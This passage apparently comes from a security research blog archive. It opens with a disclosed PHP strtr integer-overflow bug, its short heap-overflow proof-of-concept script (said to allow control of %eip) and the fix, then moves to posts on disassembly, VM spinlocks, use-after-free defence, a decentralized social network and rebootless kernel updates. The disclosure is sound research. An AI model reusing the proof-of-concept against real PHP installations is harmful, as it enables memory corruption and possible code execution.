By configuring the length of string arguments as 65,536 and 65,535 respectively, the subsequent memcpy inside wordwrap function will overflow the heap objects.

php_str_to_str_ex()

// ext/standard/string.c
static zend_string *php_str_to_str_ex(zend_string *haystack,
    char *needle, size_t needle_len, char *str, size_t str_len, zend_long *replace_count)
{
    //...
    // count is the value that how many times needle appears in the haystack
    new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);

    //...

    e = s = ZSTR_VAL(new_str);
    end = ZSTR_VAL(haystack) + ZSTR_LEN(haystack);
    for (p = ZSTR_VAL(haystack); (r = (char*)php_memnstr(p, needle, needle_len, end)); p = r + needle_len) {
        memcpy(e, p, r - p);
        e += r - p;
        memcpy(e, str, str_len);
        e += str_len;
        (*replace_count)++;
    }

    if (p < end) {
        memcpy(e, p, end - p);
        e += end - p;
    }

    //...
}

The variable new_str is allocated with zend_string_alloc, with the multiplicative expression: count * (str_len - needle_len) + ZSTR_LEN(haystack). If the value is overflowed, thus allocates smaller size than the expected one, the following memcpy in the for loop causes heap overflow.

The PoC code for exploiting the bug is in the following.

<?php
    $a = str_repeat('A', 65536);
    $b = str_repeat('ABCD', 32768);
    // Changing 'ABCD' into other value alters %eip to arbitrary value.
    $c = array('AA'=> $b);
    strtr($a , $c);
?>

The haystack becomes a string with the length of 65,536, the needle is 'AA', so the count is 32,768 ('A'*65,536 can be splitted into 32,768 of 'AA's), and str_len is 131,072 ('ABCD' * 32768 = 131071). Therefore, the resulting expression in the zend_string_alloc is 32768 * (131072 - 2) + 65536 = 4294967296 = 0. Since the string object is allocated as size zero, running memcpy over the object in the for-loop will trigger heap overflow.

A Patch: zend_string_safe_alloc()

We reported those three vulnerability to PHP, and all of the bugs are patched in PHP v7.0.4. The patches were very simple, just changing zend_string_alloc to zend_string_safe_alloc. Let's take a look how this can prevent the integer overflow bugs.

//zend_string.h
static zend_always_inline zend_string *zend_string_safe_alloc(size_t n, size_t m, size_t l, int persistent)
{
    // calls _safe_malloc
    zend_string *ret = (zend_string *)safe_pemalloc(n, m, ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(l)), persistent);

    GC_REFCOUNT(ret) = 1;

    //...

    ZSTR_LEN(ret) = (n * m) + l;
    return ret;
}

// zend_alloc.c
// _safe_malloc calls zend_safe_address to check if n*m overflows.
ZEND_API void* ZEND_FASTCALL _safe_malloc(size_t nmemb, size_t size, size_t offset)
{
    // calls safe_address
    return pemalloc(safe_address(nmemb, size, offset), 1);
}

static zend_always_inline size_t safe_address(size_t nmemb, size_t size, size_t offset)
{
    int overflow;
    size_t ret = zend_safe_address(nmemb, size, offset, &overflow);

    if (UNEXPECTED(overflow)) {
        zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu * %zu + %zu)", nmemb, size, offset);
        return 0;
    }
    return ret;
}

// zend_multiply.h
static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, int *overflow)
{
    size_t res = nmemb;
    size_t m_overflow = 0;

    __asm__ ("mull %3\n\taddl %4,%0\n\tadcl $0,%1"
            : "=&a"(res), "=&d" (m_overflow)
            : "%0"(res),
            "rm"(size),
            "rm"(offset));

    if (UNEXPECTED(m_overflow)) {
        *overflow = 1;
        return 0;
    }
    *overflow = 0;
    return res;
}

Contrary to zend_string_alloc that gets multiplicative expression as the argument, zend_string_safe_alloc gets the factors of the size, and internally apply the multiplication to calculate the size. In particular, the function zend_string_safe_alloc calls _safe_malloc, and inside of that, the function calls safe_address, which will finally call zend_safe_address. In the function zend_safe_address, the assembly code placed in the middle actually check if the multiplication of the factor generates integer overflow. If overflow arise, the allocation will fail with error message (at the code of if (UNEXPECTED(overflow)) in safe_address()). Therefore, these integer overflow vulnerabilities no longer exist in the latest version of PHP.

[1] Thompson, K. (1984). Reflections on trusting trust. Communications of the ACM, 27(8), 761-763.

[2] Yun, Insu, et al. (2016). APISAN: Sanitizing API Usages through Semantic Cross-checking, In Proceedings of the 25th USENIX Security Symposium (Security), Austin, TX.

Tricks to Reassemble Disassembly

2015-06-21T17:20:20+02:00

How can we produce re-assemblable disassembly? In other words, why an assembly generated by objdump can not be compiled by an assembler like gas? First of all, on CISC-like machines including x86, it is non-trivial to faithfully disassemble binaries if obfusticated or self-modifying. Fortunately though, binaries compiled with typical compilers and programmed with modern style are not too difficult to disassemble, what we call commodity off-the-shelf (COTS) binaries. Then, given the correctly disassembled assembly, what are the remained issues to reproduce a binary that functions semantically same as the original one.

1) Direct jmp/call

jmp     0x800000ff
calll   0x800000ff

Without precise restriction on instruction layout (via a linker script), the above assembly code incorrectly behaves after being compiled if there is single byte misalignment, which we often see a nop-like (or faulty) gap between two functions.

In fact, the solution is rather simple: symbolize all addresses. For example, like objdump generated outputs, 1) we first label every single instruction, and 2) replace an operand (target address) with the corresponding symbol (label). The above assembly will be rendered like the below:

0x8000000: jmp        A800000ff
0x8000000: calll      A800000ff

A800000ff: ...

This principle is the foundation, what we called symbolization, that enable us to produce reassemblable disassembly from COTS binaries.

2) Indirect jmp/call

The symbolization naturally makes indirect jmp/call instructions reassemblable as well. Let's consider the below example.

movl     $0x80000ff, %eax
calll    *%eax

As far as we correctly symbolize an operand (e.g., a function pointer) of movl (source of code pointers), we can make the assembly correctly recompilable.

0x8000000: movl     $A80000ff, %eax
0x8000011: calll    *%eax

0x80000ff: ...

Then, how can we identify all instructions that might introduce code pointers?

3) Operands

To faithfully symbolize all code pointers, we have to interpret every single operand of instructions; symbolize if it's a code pointer. To do so, we rely on meta information (X86_OP_IMM or X86_OP_MEM) generated by capstone. For constant (immediate) addresses or displacement, we could symbolize them if they point to the code segment that we can extract from its elf header.

4) Data section

To relocate data section (e.g., .data or .bss), we also have to symbolize code pointers embedded in the data section (e.g., jump tables, global variables initialized with a function pointer).

We first scan 4-byte chunk from data section (32-bit binary) and check if it points to the code section. But we immediately realize that this is large source of false positives: incorrectly symbolize the data values (non-code pointers). In some binaries, in particular when having crypto-related static tables, this false positive is critical as it changes the semantic of the binary.

To reduce false positives, one can dynamically instrument to figure out whether the data is used as a code pointer or just data. However, we decide to statically check its validity with two conditions: the chunk should point to the valid, well-aligned instructions (prefix) in the code section, and a group of code pointers should have a xref in its leading code pointer (xref is a set of cross-referencing addresses that refer to the current address). To do so, we symbolize the address of every single byte of data region and symbolize four of such if it points to the code segment and there is an instruction referring to (xref is not empty). It might become clear if you see the below example.

.section .data
A80001000: .byte 0x00
A80001001: .byte 0x11
A80001002: A80000000   /* {xref:['A800000ee']} */
A80001006: .byte 0x22
A80001007: .byte 0x22
A80001008: A80000011   /* {xref:['A800000ff']} */
A8000100c: A80000022
A80001010: A80000033

For example, A80001008 might be a jump table and A80001002 might be a global variable that was initialized with a function pointer (A80000000). The global variable was accessed by an instruction at 0x800000ee (in its original binary) and the jump table was access by 0x800000ff.

5) Oddities

There are few oddities that we couldn't easily imagine at the first glance. For example, SSE instructions (xmm in x86) require 16-byte alignment of its operands, a data pointer. So, whenever we meet xmm instructions, we enforce its alignment on the data section.

.section .data
.align 16 
A80001000: .byte 0x00 /* {xref:['A800000ff']} */
A80001001: .byte 0x11
A80001001: .byte 0x22

A800000ff: movsd A80001000, %xmm1

Binary Patching

In fact, the goal of having this pipeline of producing relocatable, reassemblable disassembly is to make the binary patching easy (e.g., no trempoline, no crafting to make a room for patches &c), and more importantly human-readable (and handy analysis). For example, we could easily detect well-known code gadgets (say, malloc()) and then symbolize them (adding a label func_malloc: to the beginning of the gadget). Then, that patch (e.g., cfi, safe stack &c) can easily reuse such code or a library. Since the disassembly is relocatable, inserting new code (patch) or transforming do not require special cares to the disassembly, and open new possibility of applying well-understood optimization techniques like dead-code/data elimination or peephole optimization.

Do Virtual Machines Really Scale?

2015-05-21T11:40:00+02:00

The "Monster" VMs

Today, cloud service providers are provisioning VMs with high core count coupled with lots of memory; for example, Microsoft Azure provides a largest (aka baby monster) VM instance consisting of 32 vCPUs with 488 GBs of RAM. Similar configurations are also available with other cloud service providers such as Amazon EC2 and Google Compute Engine (GCE). With the help of these instances, the cloud service providers are trying to focus on applications that require large amount of memory with lots of computation. Some examples include big-data processing and in-memory databases (such as SAP HANA). The provisioning of such large VMs has been made possible because of the ease of availability of cost-effective, large multicore machines and this trend will continue as the number of cores increase per commodity CPUs (e.g., up to 1K cores in SPARC M7).

But, the questions that we would like to answer are the following:

What is the scalability characteristics of the large VM instances provided by the cloud service providers?
Is the underlying virtualization technology really scalable enough to support a VM with hundreds of vCPUs in the future?

We try to answer the aforementioned questions in the following sections by running a Linux kernel compile, an embarrassingly parallel job that end users might expect to scale vertically, on popular cloud services and then replicate the same experiment on our 80-core machine to project the scalability trend.

1) Cloud Scalability

We executed the Linux kernel compile on three popular cloud service providers - Amazon EC2, Google Compute Engine and Microsoft Azure. We can observe that all the VMs are clearly scalable till 16 vCPUs and there is a degradation after 16 vCPUS for both EC2 and GCE instances. This occurs due to the usage of hyperthreads for the 32 vCPUs VMs. We confirm this same behavior by running the same experiment in our lab with a 16-core E5-2630 v3 machine having similar configuration used by these cloud service providers. Interestingly, Azure scales well beyond 16 cores, reflecting next to ideal scalability characteristics. We believe that this happens because they use more physical cores than the logical ones.

2) Monster VMs and their scalability characteristics

We replicate the same experiment on our 80-core E7-8870 machine by performing the experiment on two kinds of VMs - first one is the highly optimized paravirtulized VM (PVM) and another one is the hardware assisted VM (HVM). Theoretically, the performance of PVM should be similar or better than HVM. But, this trend tends to break when the vCPU count increases from 20 vCPUS. This problem is counter intuitive and is only observed in case of vCPUs being greater than 20 physical cores. We classify this problem as sleepy lock anomaly, which occurs due to the usage of paravirtual interface in the ticket spinlock implementation that has been introduced to solve the Lock Holder Preemption problem without the architectural support (i.e. Pause Loop Exiting).

Currently, paravirtual interface complements the PLE and helps in boosting the performance when compared against HVM. During the lock acquisition, a lock waiter first spins a lock for fix loop-iteration (fast path), and if it fails to acquire the lock, it voluntarily yields to other vCPUS by issuing a halt instruction (slow path). When a lock is released, the next waiter is woken up (by kicking the next waiting vCPU based on the ticket value). However, the above figure illustrates the sudden performance drop which occurs due to the sudden increase in halt exits from 30th core onwards). This happens due to the high contention among the vCPUs where they are contending with each other. This drastically increases the time period of lock acquisition, resulting in failure of the lock acquisition by most vCPUs and they start trapping to the hypervisor at the same time. From this point, the communication cost to wake up other vCPU starts dominating which results in performance collapse.

Our Fix

To solve this issue for the virtualized instance, we design and implement a variant of spinlock, called opportunistic ticket spinlock (oticket) that exploits the distance between the lock holder and lock waiter as the time to acquire a lock is roughly proportional to the waiters's distance for the ticket spinlock implementation. We introduce two new schemes to tackle the performance degradation:

Opportunistic spinning: Determining spin duration in the fast path is dependent on the workload and hardware configuration. During the lock phase, we dynamically determine the spin duration by relying on the distance information between the lock waiter and its holder. Nearer waiters opportunistically spin for a longer duration, hoping to avoid the costly switching between the guest OS and the hypervisor. Conversely, farther waiters spin for shorter duration and they yield early to give more chance for a lock holder to make progress.
Opportunistic wake-up: In this scheme, during the unlocking phase, next N waiters are woken up. This approach amortizes the vCPU wake-up latency which is experienced in case of virtualized environment.

Following is the modified code snippet of the paravirtual spinlock implementation in the Linux kernel version 4.0:

1  #define SPIN_THRESHOLD     (1 << 15)
2  + #define SPIN_MAX_THRESHOLD (1UL << 34)
3  + #define TICKET_QUEUE_WAIT  (18)
4  + #define EAGER_WAKEUP_NCPU  (4)
5
6  + static __always_inline
7  + unsigned int __ticket_distance(__ticket_t head, __ticket_t tail)
8  + {
9  +   return (tail - (head & ~TICKET_SLOWPATH_FLAG)) \
10 +     / TICKET_LOCK_INC;
11 + }
12
13   static __always_inline
14   void arch_spin_lock(arch_spinlock_t *lock)
15   {
16     register struct __raw_tickets inc = {.tail = TICKET_LOCK_INC};
17 +   unsigned int dist;
18
19     /* default threshold set in Linux */
20     u64 threshold = SPIN_THRESHOLD
21
22     /* try locking */
23     inc = xadd(&lock->tickets, inc);
24     if (likely(inc.head == inc.tail))
25       goto out;
26
27 +   /* opportunistically determines spinning threshold */
28 +   dist = __ticket_distance(inc.head, inc.tail);
29 +   if (dist < TICKET_QUEUE_WAIT)
30 +     threshold = SPIN_MAX_THRESHOLD >> (dist - 1);
31
32     for (;;) {
33       /* spinning (fast path) */
34       u64 count = threshold;
35       do {
36         inc.head = READ_ONCE(lock->tickets.head);
37         if (__tickets_equal(inc.head, inc.tail))
38           goto clear_slowpath;
39         cpu_relax();
40       } while (--count);
41
42       /* yield (slow path) */
43        __ticket_lock_spinning(lock, inc.tail);
44     }
45
46   clear_slowpath:
47     __ticket_check_and_clear_slowpath(lock, inc.head);
48   out:
49     barrier();
50   }
51
52   static __always_inline
53   void arch_spin_unlock(arch_spinlock_t *lock)
54   {
55     if (TICKET_SLOWPATH_FLAG &&
56         static_key_false(&paravirt_ticketlocks_enabled)) {
57       __ticket_t head;
58
59       head = xadd(&lock->tickets.head, TICKET_LOCK_INC);
60
61       if (unlikely(head & TICKET_SLOWPATH_FLAG)) {
62         u8 count;
63         head &= ~TICKET_SLOWPATH_FLAG;
64
65 +       /* opportunistic wakeup */
66 +       for (count = 1; count <= EAGER_WAKEUP_NCPU; ++count)
67 +         __ticket_unlock_kick(lock,
68 +                     (head + count * TICKET_LOCK_INC));
69       }
70     } else
71       __add(&lock->tickets.head,
72             TICKET_LOCK_INC, UNLOCK_LOCK_PREFIX);
73   }

Performance comparison

In the above figure, we compare our oticket implementation with the stock ticket spinlock implementation and another implementation known as qspinlock. qspinlock is the queue based spinlock for further reducing the cacheline contention. We can clearly observe that oticket outperforms PVM and it shows the same scalability trend that can be observed in case of HVM. The qspinlock performs almost the same as of PVM. This happens because qspinlock lock implementation also relies on fast path and slow path approach, thereby suffering from the same sleepy lock anomaly as that of PVM.

The above figure illustrates the performance of Linux kernel compilation time inside a VM which has been co-scheduled with other VM. Both VMs are compiling the Linux kernel simultaneously. We compare our oticket implementation against the existing stock version (PVM). We can observe that oticket still outperforms the PVM, but it also suffers from performance collapse after 40 vCPUS. We suspect that the both PLE and oticket are counteracting each other in oversubscribed environment.

Conclusion

We have taken a step to analyze the scalability behavior of VMs with high core count (till 80 core). Our preliminary study suggests that besides cache contention bottleneck, the usage of ticket spinlock is another culprit for the degradation. We will take a step further and will try to analyze the scalability characteristics of these monster VMs by running other benchsuites from Mosbench.

Dangling Pointers Nullification to Prevent Use-after-free

2015-04-11T10:10:00+02:00

Memory corruption and use-after-free

Many system components are written in the unsafe C/C++ languages that are prone to memory corruption vulnerabilities. Over more than 20 years, attackers have been abusing these vulnerabilities to compromise and subvert the system. Of course there have been much of defense side research efforts to stop these issues, but it is not quite close to be perfect --- many of them take too radical approaches so it involves either the changes of the underlying running system or is not quite suitable for real-world applications.

Today, use-after-free is generally known as one of the most difficult vulnerability type. Many modern C/C++ applications are developed under object-oriented or event-driven designs, which in turn separates out the memory resource use and free patterns. Due to this separation, developers cannot easily understand whether a certain memory pointer may point to a valid memory object or not, and a use-after-free vulnerability is introduced if they misunderstand. From the perspective of static analysis, use-after-free is a still challenging problem with a similar reason --- separated use and free routines require a precise points-to analysis with a complete inter-procedural analysis.

DangNull: Nullifying dangling pointers

Use-after-free example

class Div: Element;
class Body: Element;
class Document {
  Element* child;
};

// (a) memory allocations
Document *doc = new Document();
Body *body = new Body();
Div *div = new Div();

// (b) using memory: propagating pointers
doc->child = body;
body->child = div;

// (c) memory free: doc->child is now dangled
delete body;

// (d) use-after-free: dereference the dangled pointer
if (doc->child)
    doc->child->getAlign();

Above code snippet shows a contrived example having use-after-free issues. A pointer doc->child points to the invalid memory region after body is deleted. Thus, doc->child is a dangling pointer, and use-after-free occurs once the pointer doc->child is dereferenced.

Use-after-free could have been prevented if all the pointers pointing to the object to be freed are properly nullified (e.g., nullifying doc->child once body is deleted). However, such nullification is not straightforward for developers because doc->child is essentially a back-pointer to body and a list of back-pointers are known when the object is freed.

Nullifying dangling pointers

Motivated by this hardness for developers, we developed DangNull that automatically nullifies all potential dangling pointers and thus prevents use-after-free. By instrumenting additional code and maintaining extra metadata, it can trace object relationships via pointers and nullifies the pointers once it is dangled. For example, the above vulnerable code will be transformed into the code like below.

doc->child = body;
+ trace(&doc->child, body);

body->child = div;
+ trace(&body->child, div);

// delete operator is intercepted,
// and all back-pointers including doc->child are nulified.
delete body;

// doc->child is NULL, so use-after-free is prevented.
if (doc->child)
    doc->child->getAlign();

While intercepting all allocations and deallocations, it also instruments an extra runtime function call, trace(), to keep track of object relationships via pointers. One interesting property of DangNull is in reusing null-pointer checks in the program. Because the automatic nullification of dangling pointers are actually the runtime semantics that developers intended and had to implement, DangNull fills up the missing semantic hole and keeps the program alive even after the use-after-free attempts. We have implemented this idea using LLVM compiler infrastructures, and instrumented the Chromium browser (please refer the paper [1] for details).

Demo

The following video clip shows the demo on Chromium hardened with DangNull. We tested using a use-after-free exploit, CVE-2013-2909, and it shows how DangNull stops the exploit --- it stops the exploit attempts by triggering a segmentation fault due to null-dereference (we do a little bit more extra jobs to safely contain this exception, which we call safe-null dereference). When the nullification value is NULL, the Chromium browser can correctly render the exploit page as if the vulnerability is patched.

[1] Preventing Use-after-free with Dangling Pointers Nullification. Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, Wenke Lee. Published in NDSS 2015. [PDF]

Envisioning a Private, Decentralized In-browser Social Network

2015-03-10T12:12:00+01:00

Decentralized social network wanted

People are getting more concerned with the safety of their personal data stored at the social network service provider. Many privacy issues such as private files leakage, manipulation of personal data without permission, communication censorship have challenged the centralized architecture of social network. The desire for an architecture where personal data are no longer concentrated at a central server motivates the development of decentralized social networks. Diaspora takes the first step by breaking the centralized server down to a series of regional servers (pods). A user registers at a pod that receives and delivers the messages for him. However, the problem is "what if the user does not trust the pod?". More seriously, users data at the pod are in plaintext, subject to easier access after attack.

Diaspora does provide an option with higher privacy protection: you can set up your own pod that only serves yourself. If every user applies their own pod, the decentralized social network could have been achieved. Unfortunately, this has never come true. The convoluted installation procedure intimidates most users. This is also true in mainstream P2P platforms such as Freenet, Herbivore, and Kaleidoscope. Normal users can hardly install and maintain these platforms without any technical support. This is the story five to ten years ago. But can we do it now?

With today's advanced platform-neutral, web-based technologies, can we provide the same level of usability in popular social network such as Facebook with enhanced privacy protection? One notable advantage comes from the browser. We believe the current built-in features in browsers are able to accommodate a peer-to-peer network: much more than a simple client-side renderer, nowadays we have WebRTC that enables inter-browser peer-to-peer data channels, and indexed DB that provides persistency as key-value store.

Design of an in-browser social network

Only having P2P data channel and in-browser persistency is far from an operatable social network. We need to design a client-side only logic that is able to orchestrate the social network without a centralized entity. Specifically, we need at least the following three schemes: - A secure signaling and friendship exchange service for the peer-to-peer network that offers both data security & privacy and high deploying scalability. - A mechanism to ensure timeline consistency of posts between sender and receiver without any centralized authority. - An efficient message delivery overlay network that delivers messages to both online and offline friends with low latency.

SAFE store

The Signaling And Friendship Exchange (SAFE) service facilitates peers to exchange friendship requests for establishing shared secrecy, and also exchange network brokering information including metadata, IP address and port number. As SAFE service only provides a platform for peers to exchange information, this service can be hosted in a simple key-value store. Each piece of exchanged data is formatted as a typical json with the key to be only computable and identifiable to the pair of friends. SAFE has no disclose to any user's communication data, friends info, and even the ID. The design of SAFE plays a key role to deliver a private social network.

Timeline consistency

Timeline consistency of messages is resolved by the receiver proactively. When the messages are sent and the receiver is offline, they are maintained in the DHT for a while using replication and persistence. However, after the message time-to-live expires, the message is deleted from the DHT. If the receiver comes online after the messages have been permanently removed from the DHT, then the receiver cannot access them. However, if the sender sends a new message which has message identifier higher than the identifier of the last successfully recieved message, then the reciever detects this gap and requests for the missing messages. In that case, the sender once again introduces these messages in the DHT.

Post delivery overlay network

As a baseline post delivery design, flooding sync tries to propagate posts to as many friends (and friends of friends) as possible. So the chance for a peer to receive her missed posts from a friend when coming back online is increased. DHT based sync exploits the chance of synchronization from other online users than one's friends.

Other considerations

More considerations must be given without the support from a centralized server. First, a flexible bootstrapping service is necessary for users to reach the scripts in the first place. Besides providing an HTTP service, the code can also be placed at public places such as CDN, Github, Dropbox as long as the integrity can be ensured before running (e.g., Firefox supports code signature of Javascript through signing JAR archive.). Second, instead of directly managing the user credential, we can outsource the user credential to existing public key servers like keybase.io. A user's identity is associated with her public key which is accessible from the key server. Third, without the centralized server as the third party authority, users can endorse each other by signing trusted friend's public keys. The establishment of new friendship can be based on the verification of endorsements.

Prototype and preliminary evaluation

We have implemented a prototype in JavaScript. At the peer side, the communication and storage manager are based on the W3C standardized APIs for HTML5: WebRTC and Indexed DB. Therefore, our prototype can support Chrome 23+, Firefox 10.0+, Opera 15+ at the desktop end, and Android 4.4+, Firefox Mobile 22.0+ and FirefoxOS 1.0.1+ for the mobile platform. The crypto module uses OpenGPG for the encryption, hashing, and key signing operations. Peers retrieve others' public key from the public key infrastructure Keybase.io. At the SAFE store side, a simple key-value store is applied using Redis.

We evalute the performance of flooding sync by simulating users with Webdriver. The simulated users login and logout the service periodically. The post arrival latency and the storage overhead of every online activity is recorded. The result of latency and storage overhead is plotted in the following.

The SAFE store performance is measured with two metrics: throughput and capacity. From the real experiment, the result shows that with a single instance of redis, SAFE can process 1,401 login requests per second, 2,307, 4,549, 5,818, and 6,620 as the number of sharding increses in double, respectively. From the result of storing 192,000 records, experiment shows that a each login request consumes 51K bytes. Assuming 64GB of RAM for the SAFE server, a single instance could store upto 1.34 million users.

One might think that replacing Facebook is a pipe dream, but we will take a bold first step to replace a chatting service for closed groups like a web-based IRC. Stay tuned.

Rebootless Kernel Update

2015-02-10T10:10:00+01:00

OS update is a crucial step not only to patch security vulnerabilities or fix bugs, but also to add features that improve the performance of the system. But, it comes at the cost of rebooting the system, leading to unavoidable downtime and service disruption. It is an essential to mitigate critical threats immediately, but for end users, the inevitable downtime during an update simply degrades the productivity and usability of OS. This is critical to enterprises; for example, Amazon looses a whopping $66,000 [2] for a single minute of downtime. And, this downtime / disruption can further exacerbate in case if the update fails.

To solve the aforementioned issues, following are the two pragmatic techniques which are in practice:

Rolling updates - First apply an update to a small group of machines, then extend it to others in case of no failure. Although this technique facilitates a safe measure against mass failure, there is still a considerable downtime while rebooting the systems.
Dynamic hot-patching - This technique directly applies the patches to the running kernel in-place. As a result, the system reboot becomes unnecessary, resulting in no application downtime. Although, it seems attractive, it is inherently limited to particular set of patches consisting of simple code change than semantic one. We tested an open source tool called kpatch which can only support 1 out of 16 minor updates over six months of Ubuntu's releases (Linux 3.13.0.32 -> 34). The above figure shows its limitations. X-axis represents before-version and after-version, and dotted bars represent failures in executing kpatch.

Even though these solutions are pragmatic, they are either inherently limited or do not completely solve the issues of system downtime and service disruption while updating the system. To address these issues, we come up with idea of KUP - a simple, yet effective update mechanism that enables seamless kernel updates without any modification of the commodity operating systems (or with minimal changes for least downtime) by using an application with a stable and matured checkpoint-and-restart (C/R) technique. KUP not only supports the full system update for any kind of complex patches, but also facilitates the mitigation of update failure with two extensions: (1) safe fallback that enables automatic recovery upon upgrade failures, by restoring back to the original system before update; and (2) update dryrun which allows users to check if a new system update breaks running applications or services before actually applying it to the real machine. Another crazy extension that we have thought of is application agnostic fault tolerance, in which the application can be replicated either to provide high availability or even load balancing.

Our evaluation shows that KUP provides a fast kernel update with various running applications such as memcached, mysql or in the middle of Linux kernel compile. For example, KUP can update the Linux kernel from v3.17-rc7 to 3.17.0 with a downtime of total 2.4 sec (constant), without losing 5.6 GB (or even larger) of memcached data.

Approach and Design

KUP's update procedure is clean and simple: it first checkpoints the process, followed by a kernel switch and later restarts the application by restoring its checkpointed state (see above figure). While designing KUP, our prime focus has been to obtain the maximum performance out of the C/R without modifying the commodity OS. Later, we also concentrated on squeezing the maximum performance (having least downtime) for C/R with minimal changes to the kernel. To achieve this, KUP leverages four new techniques for reducing the system downtime during update:

Stages	Inc.	Ond.	Inc+Ond	FOAM	RP-RAMFS	PPP
Checkpoint	+83.5%	--	+83.5%	+83.5%	+94.0%	+99.7%
Restore	-15.2%	+99.6	-42.8%	+99.6%	+99.6%	+99.4%

Techniques for improving KUP's performance. Inc. and Ond. represent the incremental checkpoint and on-demand restore respectively. Inc+Ond is the combination of the previous two, whereas **FOAM** is `KUP`'s simple data structure for obtaining the best performance without any kernel change. **RP-RAMFS** represents **FOAM** based C/R scheme used on RAM file system. **PPP** is the modification applied in the kernel to achieve best performance.

1. Incremental checkpoint

For applications with large working set size (WSS), a single checkpoint results in huge downtime. To mitigate this issue, KUP relies on the idea of incremental checkpoint. KUP asynchronously takes multiple snapshots of the process' memory followed by a synchronous snapshot. With its introduction, we observe a significant improvement of 83.5% (Inc. column) over a simple checkpoint approach with respect to the downtime. Currently, KUP relies on criu[1] for application C/R and it already provides incremental checkpoint functionality.

2. On-demand restore

The downtime is experienced during both: the checkpoint and restore period. Thus, application restart also adds up an equivalent time to that of checkpointing. To resolve this issue, KUP restarts the application without loading its entire memory, rather reload them on-demand when the process tries to access a particular page. This approach is similar to standard copy-on-write (COW) optimization, thereby drastically decreasing the downtime by 99.6% (column Ond).

Using incremental checkpoint along with on-demand restore seems to be an apt choice. But, from the above table, even the simple restore with incremental checkpoint adds an overhead of 15.2% (Restore row of Inc. column). This is due to the extra work in maintaining a sequence of images taken during incremental checkpoint, in which the restore code path wastes significant amount of time in linearizing the data back to the process' memory. On further combination of both incremental checkpoint and on-demand restore, we observe a huge downtime for on-demand restore by 42.8%. This occurs because we need to map the memory at the page granularity level for dynamic reloading of the pages with the help of mmap() system call, which results in a huge overhead.

3. File offset-based address mapping (FOAM)

In order to effectively use the incremental checkpoint with on-demand restore, KUP uses a simple data structure, called file offset based address mapping (FOAM) for checkpointing the process' memory. FOAM uses direct one-to-one mapping between the process address and a huge file, thus representing the whole virtual address space of the process. The free regions in the address space (not allocated to the process) are represented as holes, which is already supported by the modern file systems.

By using FOAM, we reap the following benefits:

There is no maintenance cost of metadata now.
There is no data fragmentation issue i.e. everything gets updated in a single place.
Simplifies the work to enable on-demand restore.

The above table (column FOAM) shows the benefits of using FOAM as it facilitates us with the best of both worlds.

4. Persistent physical pages (PPP)

The bandwidth of the storage medium also plays its part when the application is checkpointed and restarted. To circumvent this, we introduce a RAM-based file system (RP-RAMFS) that stores its data purely in RAM but makes it persistent across reboot. Even though RP-RAMFS seems a viable option, it has a critical limitation. KUP cannot perform C/R on an application with working set size more than half of the actual memory space.

We overcome the limitation of RP-RAMFS by introducing new mechanism in the kernel by letting it preserve the application memory across update. KUP saves the virtual address and physical pages pair of the process which gets used during restoration. KUP achieves this functionality by introducing two new system calls - preserve(pid, mapinfo, nele) for transferring the data to the kernel while checkpointing and prestore(mapinfo, nele) during application restart. Following are the steps that KUP uses for PPP:

During the checkpoint phase, KUP dumps the virtual-to-physical mapping of the targeted process in userspace and passes the relevant information to the kernel via preserve syscall.
Before updating, KUP creates a list of new pages that are not touched by the new kernel unless specified.
During new kernel's boot, KUP globally reserves the required set of requested pages.
During application restart, by using prestore syscall, KUP passes the information to the page-fault handler, thereby allowing it to correctly rebind the faulted virtual address with the reserved physical page.

This technique not only improves the performance by instantly binding the pages at the page level granularity, but also avoids redundant memory copy.

Evaluation

It is time to test our design and implementation. Now, we will discuss about the about the effectiveness of our techniques.

The above figure shows the effectiveness of various techniques - on-demand, FOAM and PPP techniques on both SSD and RP-RAMFS using memcached as the application. The x axis is the network bandwidth and x axis is the time-line. At time t=193 second, the kernel update is started for each case. As already discussed, PPP is the best approach with the least downtime of around 2.4 seconds. Whereas FOAM is the next best candidate in terms of performance.

The above 3 figures (a,b,c) illustrate the impact of using our FOAM for both checkpoint and restore phase. (a) shows the downtime caused by checkpointing with varying WSS. (b) shows the downtime when changing the percentage of write under fixed WSS, and the overhead of FOAM's incremental approach suddenly becomes high with the increase in write percentage. (c) illustrates the advantage of on-demand restore when increasing the WSS. (d) shows the performance of PPP and FOAM (on RP-RAMFS and SSD) with varying WSS (50% write) up to 72 GB, which is larger than half of the system's memory (128 GB). RP-RAMFS fails at 56GB as it requires free RAM space for checkpointing the process, therefore it cannot support large WSS. On the contrary, PPP can efficiently support applications with large WSS.

There are other aspects that we have not covered including the testing of other applications, KUP against kpatch, and the kernel switch downtime. We will go in detail in our next blog post along with some other cool ideas.

[1] criu: http://www.criu.org/Main_Page

[2] Amazon.com Goes Down, Loses $66,240 Per Minute. http://www.forbes.com/sites/kellyclay/2013/08/19/amazon-com-goes-down-loses-66240-per-minute

Proofread by Taesoo Kim and Changwoo Min.

Security Evaluation for ARC

2014-12-10T12:12:00+01:00

Introduction

The official ARC (App Runtime for Chrome) project, announced by Google in Google I/O 2014 enables running of Android apps on Chrome environment. The official ARC is available for Chrome OS only in the form of Extension. It is subsequently extended (or hacked, technically) by vladikoff and others into a general Chrome Extension ARChon that can be loaded onto a Chrome browser running on Windows, OS X and Linux. The ARChon is also complemented by a repackaging script, chromeos-apk which transforms an ordinary Android APK file into a loadable ARC app (also, a Chrome App).

Understanding ARC

Unlike the Android Emulator shipped with Android SDK or other commercial solutions (e.g. Genymotion), the goal of ARC is not to build another emulator that runs the full Android OS images and multiple apps. Instead, it aims at providing the minimum codebase to run a single app. Based on the analysis of files constitutes ARC implementation, it strips out all components unrelated to the Dalvik VM, and preserves the system libraries and the Android API framework. For example:

Most files in _platform_specific/nacl_${arch}/ should be in /system/lib/ on an Android image.
dalvikvm.so and dexopt.so should be wrappers for dalvikvm and dexopt.
There are also libraries used by Android Emulator from OpenGL ES hardware emulation, such as libEGL_translator.so, libOpenglSystemCommon.so, etc.
readonly_fs_image.img is the filesystem image for Android.

Source code of the ARC can be found at this link. However, this only allows you to build the .so libraries, a fully running system cannot currently be built. The following security evaluation work we have done is experimental and mainly for fun and learning. Source code for the experiments we conducted can be found on GitHub.

Permission Mismatch

Issues

